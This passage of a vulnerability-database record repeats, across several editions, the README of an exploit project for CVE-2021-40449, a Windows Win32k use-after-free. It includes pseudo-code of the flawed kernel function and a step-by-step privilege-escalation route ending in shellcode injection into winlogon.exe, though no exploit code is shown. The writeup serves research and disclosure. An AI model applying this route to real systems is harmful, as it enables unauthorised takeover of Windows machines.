[Description](#description)\n - [Technical Writeup](#technical-writeup)\n - [PoC](#poc)\n - [References](#references)\n\n## Description\n\nCVE-2021-40449 is a use-after-free in Win32k that allows for local privilege escalation.\n\nThe vulnerability was found in the wild by [Kaspersky](https://www.kaspersky.com/blog/mysterysnail-cve-2021-40449/42448/).\n\nThe discovered exploit was written to support the following Windows products:\n - Microsoft Windows Vista\n - Microsoft Windows 7\n - Microsoft Windows 8\n - Microsoft Windows 8.1\n - Microsoft Windows Server 2008\n - Microsoft Windows Server 2008 R2\n - Microsoft Windows Server 2012\n - Microsoft Windows Server 2012 R2\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows Server 2016 (build 14393)\n - Microsoft Windows 10 (build 17763)\n - Microsoft Windows Server 2019 (build 17763)\n\nHowever, this exploit is current only tested on the following versions:\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows 10 (build 17763)\n\n## Technical Writeup\n\nI highly recommend reading Kaspersky's [technical writeup](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/) before proceeding.\n\nAs mentioned in the technical writeup by Kasperky, the vulnerability exists in `GreResetDCInternal`. If an attacker hooks the user-mode callback `DrvEnablePDEV`, which is called during `hdcOpenDCW`, it is possible to destroy the original device context by calling `ResetDC`, which causes a use-after-free in the kernel when the user-mode callback returns.\n\nThe following pseudo-code is made partially from the leaked Windows XP source code and by reverse-engineering the latest (before the patch) `GreResetDCInternal` from `Win32kfull.sys`. The irrelevant parts have been removed with `[...]`. Look for the `VULN: ` comments.\n```c\nBOOL GreResetDCInternal(\n HDC hdc,\n DEVMODEW *pdmw,\n BOOL *pbBanding,\n DRIVER_INFO_2W *pDriverInfo2,\n PVOID ppUMdhpdev)\n{\n // [...]\n HDC hdcNew;\n\n {\n // Create DCOBJ from HDC\n DCOBJ dco(hdc);\n\n if (!dco.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Create DEVOBJ from `dco`\n PDEVOBJ po(dco.hdev());\n\n // [...]\n\n // Create the new DC\n // VULN: Can result in a usermode callback that destroys old DC, which\n // invalidates `dco` and `po`\n hdcNew = hdcOpenDCW(L\"\",\n pdmw,\n DCTYPE_DIRECT,\n po.hSpooler,\n prton,\n pDriverInfo2,\n ppUMdhpdev);\n\n if (hdcNew)\n {\n po->hSpooler = NULL;\n\n DCOBJ dcoNew(hdcNew);\n\n if (!dcoNew.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Transfer any remote fonts\n\n dcoNew->pPFFList = dco->pPFFList;\n dco->pPFFList = NULL;\n\n // Transfer any color transform\n\n dcoNew->pCXFList = dco->pCXFList;\n dco->pCXFList = NULL;\n\n PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());\n\n // Let the driver know\n // VULN: Method is taken from old (possibly destroyed) `po`\n PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];\n\n if (rfn != NULL)\n {\n (*rfn)(po->dhpdev, poNew->dhpdev);\n }\n\n // [...]\n }\n }\n }\n }\n\n // Destroy old DC\n // [...]\n}\n```\n\nAs can be seen from the pseudo-code, the old device context can be freed in a user-mode callback from the `hdcOpenDCW` call, and later on, the method `DrvResetPDEV` is retrieved from the old device context and called with `(po->dhpdev, poNew->dhpdev)`.\n\nTo create and hook a device context, one can do the following:\n\n- Find an available printer with `EnumPrinters`\n- Load the printer driver into memory with `OpenPrinter`, `GetPrinterDriver` and `LoadLibraryExA`\n- Get the printer driver's user-mode callback table with `GetProcAddress` and `DrvEnableDriver`\n- Unprotect the printer driver's user-mode callback table with `VirtualProtect`\n- Overwrite the printer driver's desired user-mode callback table entries\n- Create a device context for the printer with `CreateDC(NULL, printerName, NULL, NULL)`\n\nWe should now have a device context for a printer with hooked user-mode callbacks.\n\nWe're interested in only one hook, namely `DrvEnablePDEV`. This hook is interesting in two aspects: triggering the UAF and controlling the arguments, as described earlier. To trigger the UAF vulnerability, we will call `ResetDC` inside of the hook, which will destroy the old device context. When we return from the hook, we will still be inside the first `GreResetDCInternal`, which will shortly after get and call the function pointer for `DrvResetPDEV` from our old and destroyed device context with the two arguments that got returned from `DrvEnablePDEV`; the old and the new `DHPDEV`.\n\nIf your process is running with a medium integrity level, KASLR should not be an issue with the help of `EnumDeviceDrivers` and `NtQuerySystemInformation`. \n\nKaspersky mentions that the original exploit used GDI palette objects and a single kernel function call to achieve arbitrary memory read/write. This exploit uses [a technique to allocate a BitMapHeader on the big pool](https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/) and `RtlSetAllBits` to enable all privileges on our current process token. The `BitMapHeader` will point to our current process token's `_SEP_TOKEN_PRIVILEGES`. By calling `RtlSetAllBits(BitMapHeader)`, it's possible to enable all privileges for our current process token with a single kernel function call. From here, one can abuse the new privileges to get SYSTEM. This exploit uses `SeDebugPrivilege` to inject shellcode into the `winlogon.exe` process.\n\n## PoC\n\n\n\n## References\n\n- [https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/)\n- [https://github.com/siberas/CVE-2016-3309_Reloaded/](https://github.com/siberas/CVE-2016-3309_Reloaded/)\n- [https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)\n- [https://github.com/KaLendsi/CVE-2021-40449-Exploit](https://github.com/KaLendsi/CVE-2021-40449-Exploit)\n- [https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)\n", "published": "2021-10-16T16:17:44", "modified": "2021-11-03T12:09:31", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/ly4k/CallbackHell", "reporter": "ly4k", "references": [], "cvelist": ["CVE-2016-3309", "CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-03T13:20:56", "history": [], "viewCount": 5, "enchantments": {}, "objectVersion": "1.6"}, "lastseen": "2021-11-03T13:20:56", "differentElements": ["modified"], "edition": 2}, {"bulletin": {"id": "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "vendorId": "GITHUBEXPL:LY4K-CALLBACKHELL", "hash": "abb00da8830dd48cacc6eb682a416c21", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CallbackHell\n\nExploit for CVE-2021-40449 (Win32k - LPE)\n\n- [CallbackHell](#callbackhell)\n - [Description](#description)\n - [Technical Writeup](#technical-writeup)\n - [PoC](#poc)\n - [References](#references)\n\n## Description\n\nCVE-2021-40449 is a use-after-free in Win32k that allows for local privilege escalation.\n\nThe vulnerability was found in the wild by [Kaspersky](https://www.kaspersky.com/blog/mysterysnail-cve-2021-40449/42448/).\n\nThe discovered exploit was written to support the following Windows products:\n - Microsoft Windows Vista\n - Microsoft Windows 7\n - Microsoft Windows 8\n - Microsoft Windows 8.1\n - Microsoft Windows Server 2008\n - Microsoft Windows Server 2008 R2\n - Microsoft Windows Server 2012\n - Microsoft Windows Server 2012 R2\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows Server 2016 (build 14393)\n - Microsoft Windows 10 (build 17763)\n - Microsoft Windows Server 2019 (build 17763)\n\nHowever, this exploit is current only tested on the following versions:\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows 10 (build 17763)\n\n## Technical Writeup\n\nI highly recommend reading Kaspersky's [technical writeup](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/) before proceeding.\n\nAs mentioned in the technical writeup by Kasperky, the vulnerability exists in `GreResetDCInternal`. If an attacker hooks the user-mode callback `DrvEnablePDEV`, which is called during `hdcOpenDCW`, it is possible to destroy the original device context by calling `ResetDC`, which causes a use-after-free in the kernel when the user-mode callback returns.\n\nThe following pseudo-code is made partially from the leaked Windows XP source code and by reverse-engineering the latest (before the patch) `GreResetDCInternal` from `Win32kfull.sys`. The irrelevant parts have been removed with `[...]`. Look for the `VULN: ` comments.\n```c\nBOOL GreResetDCInternal(\n HDC hdc,\n DEVMODEW *pdmw,\n BOOL *pbBanding,\n DRIVER_INFO_2W *pDriverInfo2,\n PVOID ppUMdhpdev)\n{\n // [...]\n HDC hdcNew;\n\n {\n // Create DCOBJ from HDC\n DCOBJ dco(hdc);\n\n if (!dco.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Create DEVOBJ from `dco`\n PDEVOBJ po(dco.hdev());\n\n // [...]\n\n // Create the new DC\n // VULN: Can result in a usermode callback that destroys old DC, which\n // invalidates `dco` and `po`\n hdcNew = hdcOpenDCW(L\"\",\n pdmw,\n DCTYPE_DIRECT,\n po.hSpooler,\n prton,\n pDriverInfo2,\n ppUMdhpdev);\n\n if (hdcNew)\n {\n po->hSpooler = NULL;\n\n DCOBJ dcoNew(hdcNew);\n\n if (!dcoNew.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Transfer any remote fonts\n\n dcoNew->pPFFList = dco->pPFFList;\n dco->pPFFList = NULL;\n\n // Transfer any color transform\n\n dcoNew->pCXFList = dco->pCXFList;\n dco->pCXFList = NULL;\n\n PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());\n\n // Let the driver know\n // VULN: Method is taken from old (possibly destroyed) `po`\n PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];\n\n if (rfn != NULL)\n {\n (*rfn)(po->dhpdev, poNew->dhpdev);\n }\n\n // [...]\n }\n }\n }\n }\n\n // Destroy old DC\n // [...]\n}\n```\n\nAs can be seen from the pseudo-code, the old device context can be freed in a user-mode callback from the `hdcOpenDCW` call, and later on, the method `DrvResetPDEV` is retrieved from the old device context and called with `(po->dhpdev, poNew->dhpdev)`.\n\nTo create and hook a device context, one can do the following:\n\n- Find an available printer with `EnumPrinters`\n- Load the printer driver into memory with `OpenPrinter`, `GetPrinterDriver` and `LoadLibraryExA`\n- Get the printer driver's user-mode callback table with `GetProcAddress` and `DrvEnableDriver`\n- Unprotect the printer driver's user-mode callback table with `VirtualProtect`\n- Overwrite the printer driver's desired user-mode callback table entries\n- Create a device context for the printer with `CreateDC(NULL, printerName, NULL, NULL)`\n\nWe should now have a device context for a printer with hooked user-mode callbacks.\n\nWe're interested in only one hook, namely `DrvEnablePDEV`. This hook is interesting in two aspects: triggering the UAF and controlling the arguments, as described earlier. To trigger the UAF vulnerability, we will call `ResetDC` inside of the hook, which will destroy the old device context. When we return from the hook, we will still be inside the first `GreResetDCInternal`, which will shortly after get and call the function pointer for `DrvResetPDEV` from our old and destroyed device context with the two arguments that got returned from `DrvEnablePDEV`; the old and the new `DHPDEV`.\n\nIf your process is running with a medium integrity level, KASLR should not be an issue with the help of `EnumDeviceDrivers` and `NtQuerySystemInformation`. \n\nKaspersky mentions that the original exploit used GDI palette objects and a single kernel function call to achieve arbitrary memory read/write. This exploit uses [a technique to allocate a BitMapHeader on the big pool](https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/) and `RtlSetAllBits` to enable all privileges on our current process token. The `BitMapHeader` will point to our current process token's `_SEP_TOKEN_PRIVILEGES`. By calling `RtlSetAllBits(BitMapHeader)`, it's possible to enable all privileges for our current process token with a single kernel function call. From here, one can abuse the new privileges to get SYSTEM. This exploit uses `SeDebugPrivilege` to inject shellcode into the `winlogon.exe` process.\n\n## PoC\n\n\n\n## References\n\n- [https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/)\n- [https://github.com/siberas/CVE-2016-3309_Reloaded/](https://github.com/siberas/CVE-2016-3309_Reloaded/)\n- [https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)\n- [https://github.com/KaLendsi/CVE-2021-40449-Exploit](https://github.com/KaLendsi/CVE-2021-40449-Exploit)\n- [https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)\n", "published": "2021-10-16T16:17:44", "modified": "2021-11-05T09:24:41", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/ly4k/CallbackHell", "reporter": "ly4k", "references": [], "cvelist": ["CVE-2016-3309", "CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-05T10:32:33", "history": [], "viewCount": 6, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449", "CVE-2016-3309"]}, {"type": "githubexploit", "idList": ["059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739", "CPAI-2016-0683"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309", "MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS16-098.NASL"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA12309", "KLA10856", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-05T10:32:33", "rev": 2}, "score": {"value": 6.2, "vector": "NONE", "modified": "2021-11-05T10:32:33", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-05T10:32:33", "differentElements": ["modified"], "edition": 3}, {"bulletin": {"id": "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "vendorId": "GITHUBEXPL:LY4K-CALLBACKHELL", "hash": "79eea4055d51879e0a9bb744810eef59", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CallbackHell\n\nExploit for CVE-2021-40449 (Win32k - LPE)\n\n- [CallbackHell](#callbackhell)\n - [Description](#description)\n - [Technical Writeup](#technical-writeup)\n - [PoC](#poc)\n - [References](#references)\n\n## Description\n\nCVE-2021-40449 is a use-after-free in Win32k that allows for local privilege escalation.\n\nThe vulnerability was found in the wild by [Kaspersky](https://www.kaspersky.com/blog/mysterysnail-cve-2021-40449/42448/).\n\nThe discovered exploit was written to support the following Windows products:\n - Microsoft Windows Vista\n - Microsoft Windows 7\n - Microsoft Windows 8\n - Microsoft Windows 8.1\n - Microsoft Windows Server 2008\n - Microsoft Windows Server 2008 R2\n - Microsoft Windows Server 2012\n - Microsoft Windows Server 2012 R2\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows Server 2016 (build 14393)\n - Microsoft Windows 10 (build 17763)\n - Microsoft Windows Server 2019 (build 17763)\n\nHowever, this exploit is current only tested on the following versions:\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows 10 (build 17763)\n\n## Technical Writeup\n\nI highly recommend reading Kaspersky's [technical writeup](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/) before proceeding.\n\nAs mentioned in the technical writeup by Kasperky, the vulnerability exists in `GreResetDCInternal`. If an attacker hooks the user-mode callback `DrvEnablePDEV`, which is called during `hdcOpenDCW`, it is possible to destroy the original device context by calling `ResetDC`, which causes a use-after-free in the kernel when the user-mode callback returns.\n\nThe following pseudo-code is made partially from the leaked Windows XP source code and by reverse-engineering the latest (before the patch) `GreResetDCInternal` from `Win32kfull.sys`. The irrelevant parts have been removed with `[...]`. Look for the `VULN: ` comments.\n```c\nBOOL GreResetDCInternal(\n HDC hdc,\n DEVMODEW *pdmw,\n BOOL *pbBanding,\n DRIVER_INFO_2W *pDriverInfo2,\n PVOID ppUMdhpdev)\n{\n // [...]\n HDC hdcNew;\n\n {\n // Create DCOBJ from HDC\n DCOBJ dco(hdc);\n\n if (!dco.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Create DEVOBJ from `dco`\n PDEVOBJ po(dco.hdev());\n\n // [...]\n\n // Create the new DC\n // VULN: Can result in a usermode callback that destroys old DC, which\n // invalidates `dco` and `po`\n hdcNew = hdcOpenDCW(L\"\",\n pdmw,\n DCTYPE_DIRECT,\n po.hSpooler,\n prton,\n pDriverInfo2,\n ppUMdhpdev);\n\n if (hdcNew)\n {\n po->hSpooler = NULL;\n\n DCOBJ dcoNew(hdcNew);\n\n if (!dcoNew.bValid())\n {\n SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);\n }\n else\n {\n // Transfer any remote fonts\n\n dcoNew->pPFFList = dco->pPFFList;\n dco->pPFFList = NULL;\n\n // Transfer any color transform\n\n dcoNew->pCXFList = dco->pCXFList;\n dco->pCXFList = NULL;\n\n PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());\n\n // Let the driver know\n // VULN: Method is taken from old (possibly destroyed) `po`\n PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];\n\n if (rfn != NULL)\n {\n (*rfn)(po->dhpdev, poNew->dhpdev);\n }\n\n // [...]\n }\n }\n }\n }\n\n // Destroy old DC\n // [...]\n}\n```\n\nAs can be seen from the pseudo-code, the old device context can be freed in a user-mode callback from the `hdcOpenDCW` call, and later on, the method `DrvResetPDEV` is retrieved from the old device context and called with `(po->dhpdev, poNew->dhpdev)`.\n\nTo create and hook a device context, one can do the following:\n\n- Find an available printer with `EnumPrinters`\n- Load the printer driver into memory with `OpenPrinter`, `GetPrinterDriver` and `LoadLibraryExA`\n- Get the printer driver's user-mode callback table with `GetProcAddress` and `DrvEnableDriver`\n- Unprotect the printer driver's user-mode callback table with `VirtualProtect`\n- Overwrite the printer driver's desired user-mode callback table entries\n- Create a device context for the printer with `CreateDC(NULL, printerName, NULL, NULL)`\n\nWe should now have a device context for a printer with hooked user-mode callbacks.\n\nWe're interested in only one hook, namely `DrvEnablePDEV`. This hook is interesting in two aspects: triggering the UAF and controlling the arguments, as described earlier. To trigger the UAF vulnerability, we will call `ResetDC` inside of the hook, which will destroy the old device context. When we return from the hook, we will still be inside the first `GreResetDCInternal`, which will shortly after get and call the function pointer for `DrvResetPDEV` from our old and destroyed device context with the two arguments that got returned from `DrvEnablePDEV`; the old and the new `DHPDEV`.\n\nIf your process is running with a medium integrity level, KASLR should not be an issue with the help of `EnumDeviceDrivers` and `NtQuerySystemInformation`. \n\nKaspersky mentions that the original exploit used GDI palette objects and a single kernel function call to achieve arbitrary memory read/write. This exploit uses [a technique to allocate a BitMapHeader on the big pool](https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/) and `RtlSetAllBits` to enable all privileges on our current process token. The `BitMapHeader` will point to our current process token's `_SEP_TOKEN_PRIVILEGES`. By calling `RtlSetAllBits(BitMapHeader)`, it's possible to enable all privileges for our current process token with a single kernel function call. From here, one can abuse the new privileges to get SYSTEM. This exploit uses `SeDebugPrivilege` to inject shellcode into the `winlogon.exe` process.\n\n## PoC\n\n\n\n## References\n\n- [https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/)\n- [https://github.com/siberas/CVE-2016-3309_Reloaded/](https://github.com/siberas/CVE-2016-3309_Reloaded/)\n- [https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)\n- [https://github.com/KaLendsi/CVE-2021-40449-Exploit](https://github.com/KaLendsi/CVE-2021-40449-Exploit)\n- [https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ)\n", "published": "2021-10-16T16:17:44", "modified": "2021-11-07T00:59:42", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/ly4k/CallbackHell", "reporter": "ly4k", "references": [], "cvelist": ["CVE-2016-3309", "CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-07T01:27:02", "history": [], "viewCount": 8, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449", "CVE-2016-3309"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739", "CPAI-2016-0683"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309", "MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS16-098.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA11908", "KLA10856", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-07T01:27:02", "rev": 2}, "score": {"value": 6.2, "vector": "NONE", "modified": "2021-11-07T01:27:02", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-07T01:27:02", "differentElements": ["modified"], "edition": 4}, {"bulletin": {"id": "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "vendorId": "GITHUBEXPL:LY4K-CALLBACKHELL", "hash": "9972d77f9299cdf10d6ff50279776d73", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CallbackHell\n\nExploit for CVE-2021-40449 (Win32k - LPE)\n\n- [CallbackHell](#callbackhell)\n - [Description](#description)\n - [Technical Writeup](#technical-writeup)\n - [PoC](#poc)\n - [References](#references)\n\n## Description\n\nCVE-2021-40449 is a use-after-free in Win32k that allows for local privilege escalation.\n\nThe vulnerability was found in the wild by [Kaspersky](https://www.kaspersky.com/blog/mysterysnail-cve-2021-40449/42448/).\n\nThe discovered exploit was written to support the following Windows products:\n - Microsoft Windows Vista\n - Microsoft Windows 7\n - Microsoft Windows 8\n - Microsoft Windows 8.1\n - Microsoft Windows Server 2008\n - Microsoft Windows Server 2008 R2\n - Microsoft Windows Server 2012\n - Microsoft Windows Server 2012 R2\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows Server 2016 (build 14393)\n - Microsoft Windows 10 (build 17763)\n - Microsoft Windows Server 2019 (build 17763)\n\nHowever, this exploit is current only tested on the following versions:\n - Microsoft Windows 10 (build 14393)\n - Microsoft Windows 10 (build 17763)\n\n## Technical Writeup\n\nI highly recommend reading Kaspersky's [technical writeup](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/) before proceeding.\n\nAs mentioned in the technical writeup by Kasperky, the vulnerability exists in `GreResetDCInternal`. If an attacker hooks the user-mode callback `DrvEnablePDEV`, which is called during 